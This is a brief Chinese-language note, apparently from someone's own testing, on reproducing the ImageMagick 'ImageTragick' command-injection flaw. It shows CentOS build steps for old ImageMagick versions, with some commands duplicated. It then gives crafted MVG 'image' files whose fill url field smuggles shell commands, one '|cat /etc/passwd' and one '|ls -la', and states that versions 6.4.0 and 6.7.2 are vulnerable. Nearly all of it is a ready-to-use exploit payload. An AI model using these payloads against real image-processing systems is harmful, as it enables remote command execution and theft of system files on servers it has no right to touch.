centos安裝
tar zvxf ImageMagick-6.4.0-0.tar.gz
cd ImageMagick-6.4.0-0
./configure --prefix=/usr/locate/ImageMagick-6.4.0 --with-quantum-depth=8
make
cd ImageMagick-6.4.0-0
./configure --prefix=/usr/locate/ImageMagick-6.4.0 --with-quantum-depth=8
make
make install
僞造圖片,把下面的幾行內容複製到記事本,然後改爲圖片名後綴。
注意url那裏一定要https才行,後面的cat /etc/passwd是linux命令
push graphic-context
viewbox 0 0 640 480
fill 'url(https://www.vm129.com/a.jpg "|cat /etc/passwd ")'
pop graphic-context
下面這個是freebuf提供的例子,帶參數的命令
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg "|ls "-la)'
pop graphic-context
執行
測試了兩個版本6.4.0和6.7.2,都有bug